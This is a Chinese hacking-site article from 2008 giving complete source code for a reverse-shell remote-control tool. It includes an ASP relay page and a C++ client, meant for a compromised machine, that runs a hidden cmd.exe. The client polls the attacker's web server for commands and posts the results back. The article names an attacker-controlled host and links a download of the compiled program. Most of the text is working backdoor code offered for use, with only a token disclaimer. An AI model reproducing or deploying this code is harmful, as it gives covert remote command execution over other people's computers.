首页  登陆  注册  博客集  下载频道  网络硬盘  学院论坛  家园
IT学院 网站地图 网站地图
收藏本站 收藏本站
高级搜索 高级搜索
 新闻：IT新闻 互联网 微软 黑客新闻 网络：网络协议 故障 网络管理 TCP/IP 无线技术 解决方案 黑客：技术 漏洞 软件评测 安全资讯
 数据：MSsql Oracle Mysql PL/SQL 备份 系统：Linux vista Windows FTP 防火墙 注册表 服务器：行情 服务器应用 解决方案 WEB服务器
 墙纸：风景壁纸 游戏壁纸 体育壁纸 汽车壁纸 人文壁纸 影视壁纸 广告壁纸 花卉壁纸 节日壁纸 动漫壁纸 明星壁纸 绘画壁纸 月历壁纸
当前位置: > 主页>网络攻防>黑客技术>用ASP实现反向连接控制
热门文章排行
  
热门文章排行 XSS测试语句大全
反击黑客从这里开始
加密三剑客SSL、SET和PG
攻破网络的十二种常用方
sa弱口令强行入侵
Win2000 Server入侵监测
域名欺骗技术实现过程
通用密码后门
UNIX系统后门的安放和日
后门技术及rootkit工具-
精采文章推荐
  
精采文章推荐 小规模DDoS(拒绝服务)用
打造简单隐藏疯狂DDOS攻
用ASP实现反向连接控制
使用perl通过adsi接口导
详细讲解黑客常用的远程
二行代码解决全部网页木
判断cookies注入的js语
Metasploit渗透工具的应
利用Debug Api 获得QQ20
BBSXP绕过过滤继续注入
最新更新文章
  
最新更新文章 PERL铸造多线程+支持中
看黑客怎样汇编创建简单
破解数据库下载漏洞
利用sohu网站URL跳转漏
xdos.exe攻击器下载与使
DDoS攻击教程（３）
DDoS攻击教程（２）
DDoS攻击教程（１）
DOS攻击原理以及常见方
小规模DDoS(拒绝服务)用

用ASP实现反向连接控制

编辑:   来源:  日期:2008-04-22   我要投稿      家园


原理:用ASP实现反向连接，客户端shell.exe大小6K,控制端console.asp大小1.75K
详解:
灵感来自在入侵渗透内网时需反向连接但没有公网IP的时候，想到ASP的Application对象功能之强大，所以产生以下想法
肉机执行程序shell.exe让cmd.exe与偶网站一ASP程序进行交互，实现控制
Application("output")为输出流,保存程序执行结果
Application("input")为输入流，保存要执行的命令
思路:
[Client] <-----> [Control] <-----> [Attacker]

Client上运行shell.exe,Control运行console.asp，Attacker通过访问console.asp控制Client
实例:
肉机A,运行"shell.exe cooldiyer.uni.cc /cmd.asp"
偶网站放上cmd.asp，URL路径为http://cooldiyer.uni.cc/cmd.asp
这时我访问http://cooldiyer.uni.cc/cmd.asp?who=master (参数一定要加上，标明身份)
就可以进行控制了，Refresh刷新可以看到已经有结果了，输入命令，点Execute执行，过几秒钟后，
点击Refresh按钮可以看到执行结果，点击Clear清空输入输出流，执行"exit"程序退出
声明:
只做技术交流，程序只做演示使用，只实现与cmd.exe交互的功能,转载或修改需保留版权

代码:
console.asp
____________________________________________________________________________
<%
'' 功能介绍:
'' 用ASP实现反向SHELL连接,与cmd.exe交互，执行命令后点Refresh后就可以看到回显
'' 公用变量 Application("input")、Application("output")为全局输入输出流

'' 如果请求登录
if request("act") = "login" then
 application("login") = "yes"
 response.end
end if

'' 如果请求退出
if request("act") = "exit" then
 application("login") = "no"
 application("input") = ""
 application("outout") = ""
 response.end
end if

'' 验证是否已经登录
if application("login") <> "yes" and request("who") = "master" then
 response.write "Client not connect.."
 response.end
end if

'' 如果请求执行命令，放到Input流里
if request("cmd") <> "" then
 application("input") = request("cmd")
end if

'' 如果命令执行完毕，结果放到output流，input流置空
if request("result")<>"" then
 application("output") = application("output") + request("result")
 application("input") = ""
end if
%>

<% If request("frame")="1" Then %>

<%
'' 如果请求清空输入输出流
if request("act") = "clear" then
 Application("input") = ""
 Application("output") = ""
 response.redirect request.servervariables("script_name")&"?frame=1"
end if
%>
<textarea cols=120 rows=30>
<%=application("output")%>
</textarea>
<a href=# onclick="location.replace(location.href);">Refresh</a>
<a href=?frame=1&act=clear>Clear</a>
<% elseif request("who") = "master" then %>
<html>
<head><title>ASP Console Manager By cooldiyer</title></head>
<body>
<iframe src=<%=request.servervariables("script_name")%>?frame=1 width=900 height=500 frameborder=0></iframe><br>
<form method=post name=frm>
<input type=text size=50 name="cmd">
<input type=hidden name="who" value="master">
<input type=submit value="Execute">
</form>
<script>frm.cmd.focus();</script>
<%
else
 response.write application("input")
end if
%>
____________________________________________________________________________
// shell.cpp : Defines the entry point for the console application.
//
// 实现功能: 与ASP控制端实现交互，实现反向连接
//

#include "stdafx.h"
#include "shell.h"
#include "afxinet.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

#define BUFFER_SIZE 1024 // 读缓冲区大小
/////////////////////////////////////////////////////////////////////////////
// The one and only application object

CWinApp theApp;

using namespace std;

CString URLEncode(const char* s); // URL 编码函数
BOOL PostRequest(const char *szFormData, char *szResult); // 向控制端发送请求函数
void DoShell(); // 与cmd.exe进行交互函数
char szServer[50], szPath[50]; // 公用变量

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
 int nRetCode = 0;

 // initialize MFC and print and error on failure
 if (!AfxWinInit(::GetModuleHandle(NULL),

NULL, ::GetCommandLine(), 0))
 {
 // TOD change error code to suit your needs
 cerr << _T("Fatal Error: MFC initialization failed") << endl;
 nRetCode = 1;
 }
 printf("ASP Console Client By CoolDiyer\n");
 if (argc == 3)
 {
 memset(szServer, 0, sizeof(szServer));
 memset(szPath, 0, sizeof(szPath));
 strcpy(szServer, argv[1]);
 strcpy(szPath, argv[2]);
 }
 else
 {
 printf("Usage:\n\trshell <Server> <Path>\nExp.\n\trshell www.abc.com /x.asp\n");
 return -1;
 }
 char szResult[1024];
 PostRequest("act=login", szResult); //登录
 DoShell(); // 执行与cmd.exe的交互
 PostRequest("act=exit", szResult); //退出
 return nRetCode;
}

//
// URL编码函数,返回一个CString变量
//

CString URLEncode(const char* s)
{
 CString encoded = "";
 int len = strlen(s);
 char* buf = new char[16]; // way longer than needed
 unsigned char c;
 
 for(int i=0; i < len; i++)
 {
 c = s[i];
 if ((c >= ''A'' && c <= ''Z'') || (c >= ''a'' && c <= ''z'') ||
 (c >= ''0'' && c <= ''9'') || c == ''.'' || c == ''-'' || c == ''_'')
 {
 sprintf(buf, "%c", c);
 encoded += buf;
 continue;
 }
 if(c == '' '')
 {
 sprintf(buf, "%c", ''+'');
 encoded += buf;
 continue;
 }
 sprintf(buf, "%.2X", c);
 encoded += "%";
 encoded += buf;
 }

 delete[] buf;
 return encoded;
}

//
// 表单发送函数，核心例程,返回接收到的内容，也就是要执行的命令
//

BOOL PostRequest(const char *szFormData, char *szResult)
{
 unsigned int uRetry = 3; //重试三次
 try{
loop:
 CInternetSession session;
 CHttpConnection *pConnection = session.GetHttpConnection(szServer);
 CHttpFile *pFile = pConnection->OpenRequest(CHttpConnection::HTTP_VERB_POST, szPath);
 // AddRequestHeaders是必要的
 pFile->AddRequestHeaders("Content-Type: application/x-www-form-urlencoded");
 CString szData;

 if (pFile -> SendRequest(NULL,0,(LPVOID) szFormData, strlen(szFormData)+1))
 {
 while(pFile->ReadString(szData))
 {
 if (szResult != NULL)
 strcpy(szResult, szData.GetBuffer(0));
 }
 pFile->Close();
 }
 session.Close();
 }
 catch(...){
 if (uRetry --)
 goto loop;
 }
 return TRUE;
}

//
// 让cmd.exe与ASP控制端进行交互的核心例程
//

void DoShell()
{
 int ret;

 SECURITY_ATTRIBUTES sa;
 
 sa.nLength = sizeof( sa );
 sa.lpSecurityDescriptor = 0;
 sa.bInheritHandle = TRUE;
 
 HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;

 ret=CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0);
 ret=CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0);
 
 STARTUPINFO si;
 ZeroMemory(&si, sizeof(si));

 GetStartupInfo(&si);
 
 si.cb = sizeof(si);
 si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
 si.wShowWindow = SW_HIDE;
 si.hStdInput = hReadPipe2;
 si.hStdOutput = si.hStdError = hWritePipe1;
 
 PROCESS_INFORMATION processInfo;
 
 char cmdLine[] = "cmd.exe";

 ZeroMemory(&processInfo, sizeof(PROCESS_INFORMATION));
 ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &processInfo);
 
 char buff[BUFFER_SIZE] = { 0 };
 char szTmp[BUFFER_SIZE*3]; // 因为要把结果进行编码，所以缓冲区相对要大
 unsigned long bytesRead = 0;
 int i = 0;

 while (TRUE)
 {
 memset(buff, 0, BUFFER_SIZE);
 ret = PeekNamedPipe(hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0);
 
 for (i = 0; i < 5 && bytesRead == 0; i++)
 {
 Sleep(100);
 ret = PeekNamedPipe(hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL);
 }
 
 if (bytesRead)
 {
 ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
 if (!ret) break;
 memset(szTmp, 0, sizeof(szTmp));
 strcpy(szTmp, "result=");
 strcat(szTmp, URLEncode(buff).GetBuffer(0));
 printf("%s", szTmp);
 PostRequest(szTmp, NULL); // 发送命令执行结果
 printf("Post command result ok\n");
 }
 else
 {
 // 得到要执行的命令
 do
 {
 PostRequest("get=yes", buff);
 printf("get command\n");
 ::Sleep(1000); // 间隔为1秒
 }
 while (strlen(buff) <= 0);
 printf("%s\n", buff);
 // 命令为exit则退出
 if (strcmp(buff, "exit") == 0) break; // 程序退出

 strcat(buff, "\n"); // 加上换行
 bytesRead = strlen(buff);
 printf("execute command %s", buff);
 // 执行命令
 WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0);
 }
 }

 TerminateProcess(processInfo.hProcess, 0);

 CloseHandle(hReadPipe1);
 CloseHandle(hReadPipe2);
 CloseHandle(hWritePipe1);
 CloseHandle(hWritePipe2);
}
_____________________________________________________________
备注:
以上代码可能因过滤而显示错误，请下载压缩包(含全部源代码和编译好的程序): http://201314.free.fr/attachments/200612/aspconsole.zip




上一篇：MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit  
下一篇：利用最近热门的Xss漏洞能做什么?
 关键字：  
【文章评论】 【收藏本文】 【推荐好友】 【打印本文】 【论坛讨论】

   相关文章:

   文章评论:(0条)
  
 请留名： 匿名评论   点击查看所有评论
 

  责任编辑:IT学院  声明：刊登此文章是为了传递更多信息,文章内容仅供参考,转载请注明出处。